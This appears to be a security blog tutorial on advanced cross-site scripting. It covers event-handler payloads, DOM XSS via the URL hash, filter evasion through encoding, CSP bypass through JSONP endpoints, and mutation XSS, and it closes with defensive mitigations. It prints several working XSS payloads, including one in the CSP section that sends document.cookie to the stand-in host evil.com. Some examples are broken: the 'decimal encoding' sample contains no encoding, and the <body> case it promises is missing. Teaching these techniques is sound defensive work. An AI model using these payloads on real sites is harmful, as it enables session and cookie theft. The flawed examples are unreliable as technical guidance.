Cross-Site Scripting (XSS) is one of the most common web vulnerabilities, but modern defenses have forced attackers to evolve. This post dives deep into sophisticated XSS techniques that bypass standard filters, Content Security Policies (CSP), and complex sanitization logic.

The Challenge: Bypassing Filters

Most basic XSS payloads like <script>alert(1)</script> are easily blocked by modern Web Application Firewalls (WAFs) and server-side input validation. The key to advanced XSS lies in finding alternative HTML tags, events, and encodings that the application's sanitization routine overlooks.

1. Event Handler Abuse (No Script Tag)

When the <script> tag is blocked, we can leverage obscure event handlers and tags:

  • <img> Tag: Often allowed, and the onerror handler is a goldmine.
  • <svg> Tag: Vector graphics tags support JavaScript execution through onload or animation elements.
// 1. Using an invalid image source to trigger the onerror event
<img src=x onerror=alert(document.domain)>

// 2. Using the SVG tag (often missed by basic filters)
<svg/onload=alert(1)>

// 3. Using <body> or <details> tags
<details open ontoggle=alert(1)>

2. DOM XSS in Complex Environments

DOM XSS occurs when client-side JavaScript takes unsanitized user input (often from the URL fragment or `localStorage`) and uses it to modify the DOM. This is challenging when the source is heavily encoded.

The Problem with Location Hash (`#`)

Many modern single-page applications (SPAs) use the location hash (`#`) to manage state. Since the hash is not sent to the server, server-side protections miss it, making it ideal for DOM XSS.

Consider a vulnerable jQuery function:

// JavaScript source code on the page:
// Takes the hash and writes it directly to the HTML
var input = window.location.hash.substring(1);
$("#welcome-message").html("Welcome, " + input);

An attacker can use URL encoding to inject characters, for example, to escape quotation marks and close tags:

// Attacker Payload in URL:
#<img src=x onerror=alert(1)>

3. Advanced Filter Evasion

When filters are designed to block specific keywords (like 'script', 'alert', 'onerror'), obfuscation techniques become necessary.

Case Study: HTML Entity Encoding

Filters often look for plain text keywords. We can use different HTML encodings to defeat this:

// 1. Using HTML decimal encoding (e.g., for 'a')
<a href="javascript:alert(1)">Click Me</a>
// The browser decodes   (space) and runs the JavaScript protocol

// 2. Combining encodings to break up blocked strings
<ScRipt> -> Case variation
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(1)

4. Content Security Policy (CSP) Bypasses

CSP is the strongest defense against XSS, but it is often misconfigured. The goal is to find a way to execute code when inline scripts are blocked.

The key bypass technique is **JSONP Endpoints** or **Trusted Domains**.

The Exploit Chain: When CSP Allows Trusted Domains

If a CSP allows scripts from a seemingly safe domain like 'self' https://trusted-cdn.com, an attacker may look for open redirect vulnerabilities or JSONP endpoints on that trusted domain.

  • **Scenario:** The CSP allows script-src 'self' https://vulnerable.api.com.
  • **Exploit:** The attacker finds a JSONP endpoint on vulnerable.api.com that reflects a URL parameter into a JSON response.
// Attacker sets up a malicious payload on the target site:
<script src="https://vulnerable.api.com/jsonp?callback=document.location='//evil.com/grab?c=' + document.cookie"></script>
// The server returns a script that executes the payload within the trusted context.

5. Mutation XSS (MXSS)

MXSS occurs when a browser's HTML parser attempts to "fix" improperly formatted HTML, inadvertently turning seemingly safe input into an executable payload.

Example: InnerHTML Sanitization

If a server-side sanitizer allows benign tags (like <p>) but the code is later manipulated on the client side using .innerHTML, MXSS can occur.

This is highly specific to browser implementation, often involving nested elements and unique parsing logic where attributes are moved or tags are closed prematurely.

// Payload designed to trigger MXSS in certain legacy browsers:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

If the sanitizer only checks the input string but the browser's parser reinterprets the innerHTML, the <img> tag can be executed.

Mitigation: Defense in Depth

Advanced XSS requires a layered defense strategy:

  1. **Context-Aware Output Encoding:** Never use a single `escape()` function. Use specific encoders based on where the input is placed (HTML Body, HTML Attribute, JavaScript Data, etc.).
  2. **Content Security Policy (CSP):** Implement a strict CSP that disables `unsafe-inline` and `unsafe-eval`. Avoid whitelisting broad, untrusted domains.
  3. **Input Validation:** Use whitelist validation for input data (e.g., only allow alphanumeric characters if expecting a username).
  4. **Trusted Types (Modern Browsers):** Use Trusted Types API to lock down DOM manipulation functions that are common sources of XSS.

Conclusion

As applications become more complex and security measures evolve, XSS payloads must be increasingly creative. Successful bug hunters and security engineers must move beyond basic payloads and understand how filters, parsers, and browser-specific features interact to create vulnerabilities.

The battle against XSS is a continuous one, requiring constant learning and adaptation to new techniques like JSONP abuse and MXSS. By understanding these advanced methods, you can build truly resilient web applications.

Want to practice advanced XSS?

Head over to the AI Tools section and use our custom fuzzing tools to generate unique XSS payloads for your test labs (on authorized targets only!).